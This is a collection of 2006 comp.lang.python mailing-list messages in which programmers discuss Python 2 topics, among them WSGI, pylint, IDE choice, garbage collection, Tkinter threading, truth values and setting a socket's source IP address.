> any time whatsoever on hosting and deployment issues ?  heck, I spent parts of
> last weekend hacking on a light-weight CGI-based publishing system for portions
> of the effbot.org site, using Python 2.2 on Solaris.  loads of fun.

Quite. But I'd also suggest that people use the cgi module and
BaseHTTPServer because the former is a well-understood technology and
the latter is something you can read about in a couple of pages in the
library reference. Indeed, there are lots of BaseHTTPServer-related
projects out there, which is not particularly good news for deployment,
but then there's that big gap between the standard library and the
megaprojects that I mentioned.

> >> (as for WSGI, it's plumbing. You can of course build fun things from spare parts and
> >> plumbing, and there are really interesting things going on in certain research labs, as
> >> usual, but if you want turn-key stuff, pick one of the big three.)
> >
> > After seeing WSGI being elevated to non-plumbing (since plumbing is
> > just stuff that helps other stuff to work, not something you mess with
> > on a daily basis), I think the current strategy with respect to
> > "floating more boats" is to pretend that WSGI is all you need.
>
> I've never seen anyone besides Ian Bicking make that argument (and he's using
> WSGI plus a zillion ready-made building blocks when doing that).

You should read some of the articles linked to from wsgi.org, then.

Paul



From fidel.andrade at gmail.com  Fri Oct 20 03:59:00 2006
From: fidel.andrade at gmail.com (Fidel)
Date: Fri, 20 Oct 2006 01:59:00 -0600
Subject: I like python.
Message-ID: <254cf6720610200059m3e41cfafr76f536947de0e7ac@mail.gmail.com>

I'm not a coder.. I'm just a person that trys to do things with
languages he likes. Sometimes I'm successful, mostly not. I do know
that before I bother a list with a silly question I should do my best
to research for an answer myself. ala RTFM. That said my searches
haven't found me what I am looking.. lack of a decent keyword
sequence.. anywho..

Could someone please tell me what I need to put into a python script
to not have a window come up however briefly? Like when I double click
on the script, it will do it's job but won't open a command window
then close it.. I hope that explains what I'm looking for.  If I see
the line I can figure out by syntax where it should go. I'm really
good at learning the gist of languages by syntax.  Thank you all for
your time


Peace
-- 
Fidel


From ptmcg at austin.rr._bogus_.com  Tue Oct 24 15:12:14 2006
From: ptmcg at austin.rr._bogus_.com (Paul McGuire)
Date: Tue, 24 Oct 2006 19:12:14 GMT
Subject: mean ans std dev of an array?
References: <1161640155.326890.288440@i42g2000cwa.googlegroups.com><7xpsci665e.fsf@ruckus.brouhaha.com><1161713593.138960.310030@f16g2000cwb.googlegroups.com>
	<mailman.1106.1161715405.11739.python-list@python.org>
Message-ID: <iAt%g.22758$GR2.3040@tornado.texas.rr.com>

<skip at pobox.com> wrote in message 
news:mailman.1106.1161715405.11739.python-list at python.org...
>
>    >> n = len(a)
>    >> mean = sum(a) / n
>    >> sd = sqrt(sum((x-mean)**2 for x in a) / n)
>    ...
>    >> If there is a faster way... like transferring the array to a
>    >> different container class...  but what?
>
> Perhaps:
>
>    >>> import scipy
>    >>> print scipy.mean([1,2,3,4,5,6])
>    3.5
>    >>> print scipy.std([1,2,3,4,5,6])
>    1.87082869339
>
> Skip

Can scipy work with an iterator/generator?  If you can only make one pass 
through the data, you can try this:

lst = (random.gauss(0,10) for i in range(1000))
# compute n, sum(x), and sum(x**2) with single pass through list
n,sumx,sumx2 = reduce(lambda a,b:(a[0]+b[0],a[1]+b[1],a[2]+b[2]), ((1,x,x*x) 
for x in lst) )
sd = sqrt( (sumx2 - (sumx*sumx/n))/(n-1) )

-- Paul




From robert.kern at gmail.com  Sun Oct 22 19:17:06 2006
From: robert.kern at gmail.com (Robert Kern)
Date: Sun, 22 Oct 2006 18:17:06 -0500
Subject: pylint: What's wrong with the builtin map()
In-Reply-To: <MnO_g.219$P33.22@read3.inet.fi>
References: <MnO_g.219$P33.22@read3.inet.fi>
Message-ID: <ehgu5i$gsm$2@sea.gmane.org>

Tuomas wrote:
> #!/usr/bin/python
> """test pydev_0.9.3/../pylint"""
> __revision__ = "test_mod 0.1 by TV 06/10/22"
> 
> lst = ['aaa', ' bbb', '\tccc\n']
> lst = map(lambda x: x.strip(), lst)
> 
> result = """
> No config file found, using default configuration
> ************* Module test_mod
> W:  6: Used builtin function 'map'
> E:  6: Using variable 'x' before assigment
> ...
> """

In addition to what the others said, note that pylint is entirely configurable. 
If you don't want to be bothered with warnings about map() which you are going 
to ignore, a simple modification to the pylint configuration file will prevent 
it from doing that check.

-- 
Robert Kern

"I have come to believe that the whole world is an enigma, a harmless enigma
  that is made terrible by our own mad attempt to interpret it as though it had
  an underlying truth."
   -- Umberto Eco



From fabiofz at gmail.com  Fri Oct 27 11:14:03 2006
From: fabiofz at gmail.com (Fabio Zadrozny)
Date: Fri, 27 Oct 2006 12:14:03 -0300
Subject: PyDev + Eclipse (Was: Re: What's the best IDE?)
In-Reply-To: <KZudnVLsLcBkQN3YnZ2dnUVZ_rudnZ2d@comcast.com>
References: <1161818092.830293.141880@k70g2000cwa.googlegroups.com>
	<mailman.1239.1161839217.11739.python-list@python.org>
	<KZudnVLsLcBkQN3YnZ2dnUVZ_rudnZ2d@comcast.com>
Message-ID: <cfb578b20610270814q7f14f2a9jc3f960464e971a55@mail.gmail.com>

On 10/26/06, Michael B. Trausch <mike$#at^&nospam!%trauschus at bag.python.org>
wrote:
>
> Kenneth McDonald wrote:
> >
> > With the most recent edition of PyDev, I find Eclipse works quite well
> > for me.
> >
>
> Since you mentioned it, I have a question that searching around and
> poking around has not solved for me, yet.
>
> Do you have auto-completion working with your setup?  It does not seem
> to work at all for me.  I have read through the configuration help, and
> there are no firewalls on my system at all, and everything else works
> save for auto-completion, which I have had to disable.  If left enabled,
> even with low timeouts, I have to kill Eclipse and start it again.  :-/
>
>
Do you have some firewall on? There was a report (
http://sourceforge.net/tracker/index.php?func=detail&aid=1509582&group_id=85796&atid=577329)
in which the problem was actually a misconfiguration when creating
local-loops (accessing 127.0.0.1) in linux. If this is not your problem,
please create a bug-report -- check http://pydev.sf.net/faq.html#ref_0 for
bug-writing guidelines.

Cheers,

Fabio
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From jstroud at mbi.ucla.edu  Sun Oct 29 07:33:24 2006
From: jstroud at mbi.ucla.edu (James Stroud)
Date: Sun, 29 Oct 2006 12:33:24 GMT
Subject: enumerate improvement proposal
In-Reply-To: <mailman.1435.1162124420.11739.python-list@python.org>
References: <zj01h.17562$TV3.14454@newssvr21.news.prodigy.com>
	<mailman.1435.1162124420.11739.python-list@python.org>
Message-ID: <oc11h.17573$TV3.16796@newssvr21.news.prodigy.com>

Fredrik Lundh wrote:
> James Stroud wrote:
> 
>> def enumerate(itrbl, start=0, step=1):
>>    i = start
>>    for it in itrbl:
>>      yield (i, it)
>>      i += step
> 
> that's spelled
> 
>     izip(count(start), sequence)
> 
> in today's Python.
> 
>  > def in_interval(test, bounds, first=1, reverse=False):
> 
> why is it this function's job to add an offset to the actual sequence 
> index?
> 
> </F>
> 

BTW, thank you for your tip.

James


From bdesth.quelquechose at free.quelquepart.fr  Thu Oct 26 18:37:11 2006
From: bdesth.quelquechose at free.quelquepart.fr (Bruno Desthuilliers)
Date: Fri, 27 Oct 2006 00:37:11 +0200
Subject: Search & Replace
In-Reply-To: <1161898031.481159.202310@f16g2000cwb.googlegroups.com>
References: <1161898031.481159.202310@f16g2000cwb.googlegroups.com>
Message-ID: <4541341c$0$21573$426a74cc@news.free.fr>

DataSmash a ?crit :
> Hello,
> I need to search and replace 4 words in a text file.
> Below is my attempt at it, but this code appends
> a copy of the text file within itself 4 times.
> Can someone help me out.
> Thanks!
> 
> # Search & Replace
> file = open("text.txt", "r")
NB : avoid using 'file' as an identifier - it shadows the builtin 'file' 
type.

> text = file.read()
> file.close()
> 
> file = open("text.txt", "w")
> file.write(text.replace("Left_RefAddr", "FromLeft"))
> file.write(text.replace("Left_NonRefAddr", "ToLeft"))
> file.write(text.replace("Right_RefAddr", "FromRight"))
> file.write(text.replace("Right_NonRefAddr", "ToRight"))
> file.close()
> 

See Mark and Tim's answers for your bug. Another (potential) problem 
with your code is that it may not work too well for big files. It's ok 
if you know that the files content will always be small enough to not 
eat all memory. Else, taking a "line by line" approach is the canonical 
solution :

def simplesed(src, dest, *replacements):
   for line in src:
     for target, repl in replacements:
       line = line.replace(target, repl)
     dest.write(line)

replacements = [
   ("Left_RefAddr", "FromLeft"),
   ("Left_NonRefAddr", "ToLeft"),
   ("Right_RefAddr", "FromRight"),
   ("Right_NonRefAddr", "ToRight"),
   ]
src = open("hugetext.txt", "r")
dest = open("some-temp-name.txt", "w")
simplesed(src, dest, *replacements)
src.close()
dest.close()
os.rename("some-temp-name.txt", "hugetext.txt")

HTH


From rdiaz02 at gmail.com  Sun Oct 15 17:34:14 2006
From: rdiaz02 at gmail.com (Ramon Diaz-Uriarte)
Date: Sun, 15 Oct 2006 23:34:14 +0200
Subject: IDE that uses an external editor?
In-Reply-To: <20061014212050.C3F7.SLAWOMIR.NOWACZYK.847@student.lu.se>
References: <20061014121444.C3D0.SLAWOMIR.NOWACZYK.847@student.lu.se>
	<17713.9709.575464.630058@montanaro.dyndns.org>
	<20061014212050.C3F7.SLAWOMIR.NOWACZYK.847@student.lu.se>
Message-ID: <624934630610151434t5bb8b9f8l6572f26a69c08b54@mail.gmail.com>

On 10/14/06, Slawomir Nowaczyk <slawomir.nowaczyk.847 at student.lu.se> wrote:
> On Sat, 14 Oct 2006 13:01:17 -0500
> skip at pobox.com wrote:

(...)
> #> I realize I can do a lot within Emacs/XEmacs, but I suspect with a
> #> tool like Eclipse I could do more. However, I don't want to give up
> #> the text editing power of Emacs to get it.
>
> I don't know... I have never, personally, used Eclipse, so I cannot
> comment on that. It is highly dependent on what you are working on, I
> presume.
>


I've tried using Eclipse several times, because several good meaning
people told me things like "you coud do more". But I've always: a)
felt overwhelmed and lost (like in "this is way too complex"); b) felt
deprived of valuable screen real-state (it might be personal thing,
because on my .emacs I turn off the toolbar and menu bar); c)
eventually felt that time reading the Eclipse tutorial and docs would
be better spent reading more of the Emacs manual. I guess, though,
that this is very personal, and that I might be missing the point of
Eclipse (and I don't do any Java programming).


-- 
Ramon Diaz-Uriarte
Statistical Computing Team
Structural Biology and Biocomputing Programme
Spanish National Cancer Centre (CNIO)
http://ligarto.org/rdiaz


From http  Wed Oct 25 16:12:50 2006
From: http (Paul Rubin)
Date: 25 Oct 2006 13:12:50 -0700
Subject: cleaner way to write this?
References: <USN%g.148$1n3.4086@news.tufts.edu>
	<j5O%g.150$1n3.4013@news.tufts.edu>
	<7xwt6o44um.fsf@ruckus.brouhaha.com>
	<%dO%g.151$1n3.4135@news.tufts.edu>
	<7x8xj4i5gq.fsf@ruckus.brouhaha.com>
	<2qP%g.161$1n3.4136@news.tufts.edu>
Message-ID: <7x4ptsxigt.fsf@ruckus.brouhaha.com>

John Salerno <johnjsal at NOSPAMgmail.com> writes:
> Interesting idea to use try/finally to ensure that dlg.Destroy() runs
> even with a return earlier in the method. Would this be considered
> appropriate use though, or would it be misusing try/finally? I thought
> the point of a try block was for when you anticipated exceptions,

I think it's ok to treat the return statement as sort of an exception.
You could create an actual exception and raise it instead, but in such
a small function that clutters up the code unnecessarily.  At most I'd
add a comment near the return statement, mentioning that the finally:
clause will clean up the dialog.

> but given that try/except and try/finally used to be separate
> blocks,

That old separation was just an artifact of how the parser was
originally written, I believe.  It was always considered an annoyance
and it finally got fixed.


From paul at boddie.org.uk  Thu Oct 19 06:29:00 2006
From: paul at boddie.org.uk (Paul Boddie)
Date: 19 Oct 2006 03:29:00 -0700
Subject: Book about database application development?
References: <0001HW.C157FA8900644D9AF0407530@news.individual.de>
	<7xlknhg2rz.fsf@ruckus.brouhaha.com>
	<0001HW.C158378C00729A42F0407530@news.individual.de>
	<453352d4$0$12918$426a34cc@news.free.fr>
	<0001HW.C159B10900A0DF8AF0407530@news.individual.de>
	<8Z4Zg.6659$5i7.274@newsreading01.news.tds.net>
	<0001HW.C15AFA6600D738B5F0488530@news.individual.de>
	<UqiZg.15442$UG4.14288@newsread2.news.pas.earthlink.net>
	<1161163215.654709.249960@i3g2000cwc.googlegroups.com>
	<O5tZg.8762$Lv3.3649@newsread1.news.pas.earthlink.net>
Message-ID: <1161253739.960413.267960@b28g2000cwb.googlegroups.com>

Dennis Lee Bieber wrote:
> On 18 Oct 2006 02:20:15 -0700, "Paul Boddie" <paul at boddie.org.uk>
> declaimed the following in comp.lang.python:
> >
> > Aren't we going round in circles here? There presumably are grid
>
>  Possibly -- it was the fairly recent lamentation about Delphi that
> made me think the initial desire had been for some such "automatic"
> linkage between GUI and database that would have been preferred...

I think it's about finding the right level: the stated toolkits (Kiwi,
Thyme, GNUe, TinyERP) are probably quite high-level or mix in various
application-specific bonus material, and perhaps a fairly elementary
datagrid widget is what is being sought.

> > widgets connected to database tables/views/cursors, if only exposed via
> > user interface toolkits and other frameworks such as PyQt, Dabo and so
> > on, but I thought the questioner wanted to know how to implement these
> > things from the ground up.
> >
> ... lacking such automation, a search for books on how to do this was
> next. But given so many combinations of toolkits, I didn't think a
> general (cookbook?) solution would be available.

True. Still, I can only point to things which might provide useful
building blocks in developing some of the solutions mentioned above.
For example, PyQt's QSqlRelationalTableModel and QTableView might be
acceptable building blocks:

http://www.riverbankcomputing.com/Docs/PyQt4/html/qsqlrelationaltablemodel.html

See here for Python-based examples:

http://indico.cern.ch/contributionDisplay.py?contribId=33&sessionId=41&confId=44

I'm sure other people can provide links to resources for other toolkits
and frameworks.

Paul



From horpner at yahoo.com  Fri Oct 13 13:37:57 2006
From: horpner at yahoo.com (Neil Cerutti)
Date: 13 Oct 2006 19:37:57 +0200
Subject: Best IDE?
References: <1160749749.140484.97990@f16g2000cwb.googlegroups.com>
	<mailman.448.1160750276.11739.python-list@python.org>
Message-ID: <slrneivjph.8o.horpner@FIAD06.norwich.edu>

On 2006-10-13, Theerasak Photha <hanumizzle at gmail.com> wrote:
> I use GNU Emacs 22 and a screen session.
>
> Advantages:
>
> * Comprehensive, comprehensive, comprehensive...tags support,
> Subversion integration, syntax highlighting, sophisticated
> indentation, whatever I want basically
> * Resource-light, contrary to the preconceived opinions some have of Emacs
> * Keyboard-oriented; ergonomic and fast (Xfce is set up to switch
> desktops by key as well)
> * Available on any major platform that you would want to use Python on
> * And it's free

* Totally configurable.

> Disadvantages:
>
> * No UI builder...for this you can use Glade or maybe Boa Constructor
> * Not many else...none other that I can think of right now, actually

* Totally configurable.

-- 
Neil Cerutti


From bignose+hates-spam at benfinney.id.au  Tue Oct 31 06:53:56 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Tue, 31 Oct 2006 22:53:56 +1100
Subject: How can I import a script with an arbitrary name ?
References: <1162217006.567079.315440@i42g2000cwa.googlegroups.com>
	<mailman.1513.1162252870.11739.python-list@python.org>
	<pan.2006.10.31.11.23.15.574722@REMOVE.THIS.cybersource.com.au>
Message-ID: <87y7qw66qz.fsf@benfinney.id.au>

"Steven D'Aprano" <steve at REMOVE.THIS.cybersource.com.au> writes:

> On Tue, 31 Oct 2006 11:00:52 +1100, Ben Finney wrote:
>
> > If you want a solution that gives you an actual module object,
> > here's what I use:
> > 
> >     def make_module_from_file(module_name, file_name):
> >         """ Make a new module object from the code in specified file """
>
> The only advantage (or maybe it is a disadvantage?) I can see to
> your function is that it doesn't search the Python path and you can
> specify an absolute file name.

Which is exactly what the OP asked for (though he didn't necessarily
need a module object).

-- 
 \        "We have to go forth and crush every world view that doesn't |
  `\             believe in tolerance and free speech."  -- David Brin |
_o__)                                                                  |
Ben Finney



From http  Tue Oct  3 03:43:28 2006
From: http (Paul Rubin)
Date: 03 Oct 2006 00:43:28 -0700
Subject: VIdeo Converence Software: Tk and thread synchronization
References: <mailman.1087.1159792937.10491.python-list@python.org>
	<op.tgt4vj08rqur0o@eb.pragmadev>
Message-ID: <7x64f14zfj.fsf@ruckus.brouhaha.com>

"Eric Brunel" <eric_brunel at despammed.com> writes:
> General answer: no, it isn't. The only thing that seems to work
> everytime  on tk widgets from secondary threads is generating events
> as above. 

I wouldn't bet on even that always being safe.

> If you try to do anything else, you may experience deadlocks or even
> crashes.

The way I do it is use a .after event in the main tkinter loop
to check a queue every 20 msec or so.  Other threads send commands
through the queue.  I usually pass commands as tuples (func, *args, **kw)
so that the .after handler simply calls the func on the args.


From claird at lairds.us  Wed Oct  4 19:03:38 2006
From: claird at lairds.us (Cameron Laird)
Date: Wed, 4 Oct 2006 23:03:38 +0000
Subject: Where is Python in the scheme of things?
References: <I4GdnY3G96ZZirnYnZ2dnUVZ_uidnZ2d@magma.ca>
	<82VUg.8549$Go3.4509@dukeread05>
Message-ID: <a7rdv3-ibt.ln1@lairds.us>

In article <82VUg.8549$Go3.4509 at dukeread05>, hg  <hg at nospam.com> wrote:
			.
			.
			.
>Code in Python and decide for yourself ... but again, nowadays, you're
>to compare with C#, VB ... if you want to be in; that is.
>
>hg
>

One of the points that's important to make is that "decide for
yourself" means something different for Python.  With proprietary
development environments, or Java, it can typically take days or
weeks to pull together enough of a configuration to begin to 
understand the language.  It is typical for utter beginners to
start with Python and, in a few hours, to begin to "get it".

Conclusion:  advice to "try Python for yourself" is apt in a way
the original questioner might not realize.


From cems at earthlink.net  Sun Oct  1 12:19:45 2006
From: cems at earthlink.net (Charlie Strauss)
Date: Sun, 1 Oct 2006 10:19:45 -0600
Subject: Is this a bug? Python intermittently stops dead for seconds
In-Reply-To: <efoo0p$59s$2@sea.gmane.org>
References: <33220932.1159717044981.JavaMail.root@elwamui-chisos.atl.sa.earthlink.net>
	<efoo0p$59s$2@sea.gmane.org>
Message-ID: <C5B5BD17-77A5-4091-A85C-2EFFBFA0AD99@earthlink.net>


On Oct 1, 2006, at 9:48 AM, Fredrik Lundh wrote:
> charlie strauss wrote:
>
>> level0:  newly created objects
>> level1:  objects that survived 1 round of garbage collection
>> level2:  objects that survivied 2+ rounds of gargbage collection
>>
>> Since all of my numerous objects are level2 objects, and none of
>> them are every deallocated, then I should never trip the GC for
>> these.
>
> your understanding of generational GC is a bit fuzzy, it seems.   
> that an
> object is promoted to a higher level means that it's not inspected  
> quite
> as often as lower-level objects, not that it's never inspected at all.


As I understand it, level2 (and level1) objects only undergo gc when  
more than 10 of them is deallocated.  Since I never deallocate, this  
should not be tripped right?

In any case regarding your other comments:

>> Could you clarify that for me.  GC really has three components
>> two it:  1) finding and freeing unrefernced memory by refer
>> refer counts 2)  cycle removal and 3)  defragementing the
>> storage stack.  If I turn off GC, don't I lose all of these?
>>
>
> CPython always does (1), only does (2) if cycle-breaking GC isn't
> disabled, and never does (3).


Never does 3?  then how does it compact it's memory allocation area?   
Surely it does not rely on the OS to manage every small object as a  
separate memory allocation.

And just to be clear: are you saying that when I do a gc.disable this  
only turns off 2 and not 1?  The docs don't say that as far as I can  
tell.

> in your case, it's (2) that takes more and more time, simply because
> you're creating tons of non-trivial objects.  to see what's going  
> on in
> there, add
>
>      import gc
>      gc.set_debug(gc.DEBUG_STATS)
>
> to the top of your program, and look at the status messages that  
> appear
> just before each "Big Gap" message.


Could you be a bit more explicit.  I'm new to the gc module.  Sorry  
to be slow but I don't know what "looking at the status message" means.




>
> </F>
>
> -- 
> http://mail.python.org/mailman/listinfo/python-list





From sgilja at email.t-com.hr  Wed Oct 18 14:50:51 2006
From: sgilja at email.t-com.hr (Stens)
Date: Wed, 18 Oct 2006 20:50:51 +0200
Subject: characters in python
In-Reply-To: <eh5p68$qcl$1@ss408.t-com.hr>
References: <eh5p68$qcl$1@ss408.t-com.hr>
Message-ID: <eh5t1s$bq2$3@ss408.t-com.hr>

Stens wrote:
> Can python handle this characters: ??,??,??,??,???
> 
> If can how"
I wanna to change some characters in text (in the file) to the 
characters at this address:

http://rapidshare.de/files/37244252/Untitled-1_copy.png.html


From robert.kern at gmail.com  Thu Oct 19 00:43:03 2006
From: robert.kern at gmail.com (Robert Kern)
Date: Wed, 18 Oct 2006 23:43:03 -0500
Subject: Plotting histograms
In-Reply-To: <1161232341.473676.221830@k70g2000cwa.googlegroups.com>
References: <1161056950.593026.114230@i42g2000cwa.googlegroups.com>	<mailman.604.1161057667.11739.python-list@python.org>	<1161151268.753901.104750@k70g2000cwa.googlegroups.com>	<mailman.667.1161152743.11739.python-list@python.org>
	<1161232341.473676.221830@k70g2000cwa.googlegroups.com>
Message-ID: <eh6voo$cpa$1@sea.gmane.org>

amitsoni.1984 at gmail.com wrote:
> Thanks for the replies  ... its perfect now ... but just one more thing
> ... how can I plot another function(a semi circle) in the same
> histogram?

Just call the appropriate plotting function after you plot the histogram. By 
default, the second plot will go into the same figure as the first. Something 
like the following should suffice:

   x = numpy.linspace(-1.0, 1.0, 201)
   y = numpy.sqrt(1.0 - x*x)
   pylab.plot(x, y, 'k-')

Look at the matplotlib documentation for more information. You will probably 
also want to ask future questions on the matplotlib-users mailing list instead 
of here.

-- 
Robert Kern

"I have come to believe that the whole world is an enigma, a harmless enigma
  that is made terrible by our own mad attempt to interpret it as though it had
  an underlying truth."
   -- Umberto Eco



From pandyacus.xspam at xspam.sbcglobal.net  Sun Oct 29 01:39:58 2006
From: pandyacus.xspam at xspam.sbcglobal.net (Chetan)
Date: Sun, 29 Oct 2006 06:39:58 GMT
Subject: question about True values
References: <grO%g.152$1n3.4134@news.tufts.edu>
	<7x4ptsi544.fsf@ruckus.brouhaha.com>
	<1161803802.110116.127470@m7g2000cwm.googlegroups.com>
	<7xvem8gq22.fsf@ruckus.brouhaha.com>
	<1161804934.010376.151330@f16g2000cwb.googlegroups.com>
	<453FD3AF.4040800@v.loewis.de>
	<1161812827.596356.316450@f16g2000cwb.googlegroups.com>
	<donn-4380C3.15593125102006@gnus01.u.washington.edu>
	<1161860305.348329.283780@m73g2000cwd.googlegroups.com>
	<mailman.1264.1161861732.11739.python-list@python.org>
	<donn-15D0D7.09580726102006@gnus01.u.washington.edu>
	<slrnek3kvc.aqe.apardon@rcpc42.vub.ac.be>
	<donn-F174C2.10243227102006@gnus01.u.washington.edu>
	<slrnek4jj4.2e3.apardon@rcpc42.vub.ac.be>
	<ehu42d$jff$1@chiara.aioe.org>
	<mailman.1386.1162001801.11739.python-list@python.org>
	<pan.2006.10.28.06.28.46.427735@REMOVE.THIS.cybersource.com.au>
	<ei0ih8$2pq$1@chiara.aioe.org> <87u01oug78.fsf@nandi.2wire.net>
	<ei1hkb$36i$1@news.albasani.net>
Message-ID: <ur6wrd408.fsf@sbcglobal.net>

Georg Brandl <g.brandl-nospam at gmx.net> writes:

> Chetan wrote:
>>> Steven D'Aprano wrote:
>>> > On Sat, 28 Oct 2006 03:13:42 +0100, Steve Holden wrote:
>>>  >
>>> >>> Finally, while True/False is a good mental mapping for numeric comparisons,
>>> >>> take the following:
>>> >>>
>>> >>>  >>> if "Cliff is a pillar of the open source community":
>>> >>> ....	print "thank you"
>>> >>> .... else:
>>> >>> ....	print "bugger off"
>>> >>>
>>> >>> bugger off
>>> >>>
>>>
>>> First off, even though nobody has called me on it, this example really prints
>>> "thank you", not "bugger off".  I got confused in my cutting and pasting.
>>> Sorry about that.
>>>
>>>
>>> >>> Clearly this is not true.  (Google Cliff/Dyer open source: only 11 hits.),
>>> >>> but the string is *something* so the if block gets evaluated.
>>> >>>
>>> >>   >>> if "The above example was bollocks":
>>> >>   ...   print "You don't know what you are talking about"
>>> >>   ... else:
>>> >>   ...   print "Sorry: of course you are perfectly correct"
>>> >>   ...
>>> >> You don't know what you are talking about
>>> > Cliff is making a point about semantics, and he's absolutely correct about
>>> > it, although it is irrelevant since we're talking about two-value logic
>>> > not semantics.
>>> Cheers,
>>> Cliff
>>
>> I am joining after some network downtime here, so I seem to have missed what
>> the real issue here is. At the risk of being completely irrelevant to the
>> discussion here, I think it doesn't seem to be just about something or
>> nothing - is None something or nothing? It seems to be neither:
>
> If is, of course, nothing. You may have misunderstood the semantics of the
> "and" and "or" operators.

I have not. I just posted another message on the subject. All I am trying to
point out is that the "nothingness" evaluation does not occur at the level of
expressions. It is only when the expression is needed to make decisions about
control flow that this comes into picture. 

>>>>> None
>>>>> None and True
>>>>> None or True
>> True
>>>>> None and False
>>>>> None or False
>> False
>>>>> False or None
>>>>> False and None
>> False
>>>>> True and None
>>>>> True or None
>> True
>>>>> not None
>> True
>
> x and y     | x something | x nothing
> ---------------------------------------
> y something | y           | x
> y nothing   | y           | x
>
> x or y      | x something | x nothing
> ---------------------------------------
> y something | x           | y
> y nothing   | x           | y
>
>
> Georg


From __peter__ at web.de  Mon Oct 23 06:47:10 2006
From: __peter__ at web.de (Peter Otten)
Date: Mon, 23 Oct 2006 12:47:10 +0200
Subject: is it a bug ?
References: <ehhvqa$48r$1@trompette.imag.fr>
	<ehi0tm$p9f$03$1@news.t-online.com>
	<ehi488$90g$1@trompette.imag.fr>
Message-ID: <ehi6f2$2bq$02$1@news.t-online.com>

Sylvain Ferriol wrote:

>>>>>class Toto(float):
>> 
>> ....?????eq?=?float.__eq__
>> ....
>> 
>>>>>Toto().eq(42)
>> 
>> False
>> 
> i can not use it because:
> class toto(float):
> def?__init__(self,a=None):pass
> 
> t=toto(a=3)
> TypeError: 'a' is an invalid keyword argument for this function

Override __new__() then:

>>> class Toto(float):
...     def __new__(cls, a=None):
...             if a is None:
...                     a = 42
...             return float.__new__(cls, a)
...     def __init__(cls, a=None):
...             print "random message containing", a
...
>>> Toto()
random message containing None
42.0
>>> Toto(42)
random message containing 42
42.0

Peter


From p.lavarre at ieee.org  Wed Oct 18 20:49:11 2006
From: p.lavarre at ieee.org (p.lavarre at ieee.org)
Date: 18 Oct 2006 17:49:11 -0700
Subject: call Mac gcc -framework from CTypes how
Message-ID: <1161218951.763867.148520@i3g2000cwc.googlegroups.com>

gcc -dynamiclib -framework CoreFoundation
builds C code for Mac OS X that I call from Py code.

Can I somehow get rid of the C, such as:

#include <CoreFoundation/CoreFoundation.h>
void const * kCFTypeDictionaryKeyCallBacks_p(void)
{
        return &kCFTypeDictionaryKeyCallBacks;
}

?

Thanks in advance, Pat LaVarre

P.S. In Windows, I duck tedium of this kind by finding the Dll that the
C compiler calls under the covers, e.g., the CreateFile of my Win C
code becomes a kernel32.CreateFileW call.



From horpner at yahoo.com  Thu Oct 12 14:46:46 2006
From: horpner at yahoo.com (Neil Cerutti)
Date: 12 Oct 2006 20:46:46 +0200
Subject: Standard Forth versus Python: a case study
References: <oMSdnejEoa3By7DYnZ2dnUVZ_v2dnZ2d@wispertel.com>
	<7x3b9u376m.fsf@ruckus.brouhaha.com>
	<Z46dnTJWqdH0wLDYnZ2dnUVZ_sOdnZ2d@wispertel.com>
	<1160603937.392188.253250@m7g2000cwm.googlegroups.com>
	<1160619958.438049.53390@h48g2000cwc.googlegroups.com>
	<l2jXg.63366$5o5.46778@tornado.texas.rr.com>
	<1160652722.908731.213650@i42g2000cwa.googlegroups.com>
	<sJrXg.46560$DU3.23285@tornado.texas.rr.com>
	<WcCdnUyXTsda_bPYnZ2dnUVZ_rOdnZ2d@wispertel.com>
	<12isojlasb7p003@corp.supernews.com>
Message-ID: <slrneit3ek.1d8.horpner@FIAD06.norwich.edu>

On 2006-10-12, Neal Bridges <nbridges at interlog.com> wrote:
> "John Doty" <jpd at whispertel.LoseTheH.net> wrote in message
> news:WcCdnUyXTsda_bPYnZ2dnUVZ_rOdnZ2d at wispertel.com...
> [snip]
>> Here's a K&R C function I wrote almost 20 years ago.
> [code snipped]
>
> John, 'man indent' right away!

As far as I know, he just forgot to strip out the tab characters
before pasting and posting.

-- 
Neil Cerutti
We will not have an all volunteer army.  We *will* have an all
volunteer army. --George W. Bush


From jstroud at mbi.ucla.edu  Mon Oct  2 01:15:02 2006
From: jstroud at mbi.ucla.edu (James Stroud)
Date: Mon, 02 Oct 2006 05:15:02 GMT
Subject: strange append
In-Reply-To: <mailman.1071.1159765644.10491.python-list@python.org>
References: <mailman.1071.1159765644.10491.python-list@python.org>
Message-ID: <qf1Ug.8187$vJ2.2619@newssvr12.news.prodigy.com>

E.Nurminski wrote:
> Hello to all good people
> 
> I am new to the great Py so am quite puzzled by the following code
> 
> ---------------
> 
> res = []
> x = [ 1, 1 ]
> for i in xrange(0,5):
> 	res.append(x)
> 	x[1] = x[1] + 1
> 	print "x = ", x
> 	print "res = ", res
> 
> ---------------
> 
> Looks like it puts smth like reference to 'x' into 'res' list, instead of 
> value. But if I want a value should I use a different method or what ?
> 
> Evgeni
> 
> P.S. Could not easily find the issue in the manual/tutorial can you point 
> me out to smth relevant ?
> 

Yes the same reference gets added every time.

res = []
x = [1, 1]
for i in xrange(0,5):
   newx = x[:]                 # copy the x
   res.append(newx)            # append the copy
   newx[1] += 1                # shorthand
   print "newx = %s" % newx    # basic formatting
   print "res = %s" % res      # should be what you expect

James

-- 
James Stroud
UCLA-DOE Institute for Genomics and Proteomics
Box 951570
Los Angeles, CA 90095

http://www.jamesstroud.com/


From grante at visi.com  Fri Oct 27 14:25:41 2006
From: grante at visi.com (Grant Edwards)
Date: Fri, 27 Oct 2006 18:25:41 -0000
Subject: How set the source IP adress
References: <ehstmq$mm8$1@news.lucky.net>
	<454241d1$0$327$e4fe514c@news.xs4all.nl>
	<12k4jlpr6q4o4b4@corp.supernews.com>
Message-ID: <12k4jp5tl02k515@corp.supernews.com>

On 2006-10-27, Grant Edwards <grante at visi.com> wrote:
> On 2006-10-27, Irmen de Jong <irmen.NOSPAM at xs4all.nl> wrote:
>
>>> how to set source ip-address when do __socket.connect((host, port))
>>> on a machine that have a several ip-adresses?
>>> 
>>> __socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
>>> __socket.connect((host, port))
>>
>> sock.connect ( ('11.22.33.44', 9999) )
>>
>> i.e. just put the ip address as string parameter into the
>> connect address tuple (where you wrote: host)
>
> Um, no. That controls the _destination_ IP address, not the
> source.  If you want to control the source IP addresss you can
> bind it to a local interface's IP address before doing the
> connect() call.
>
> sock.bind(('10.0.0.99',-1))  # -1: don't care about source port number
> sock.connect((host,port))

Doh!  That should have been 0 not -1.

-- 
Grant Edwards                   grante             Yow!  Do I hear th'
                                  at               SPINNING of various
                               visi.com            WHIRRING, ROUND, and WARM
                                                   WHIRLOMATICS?!
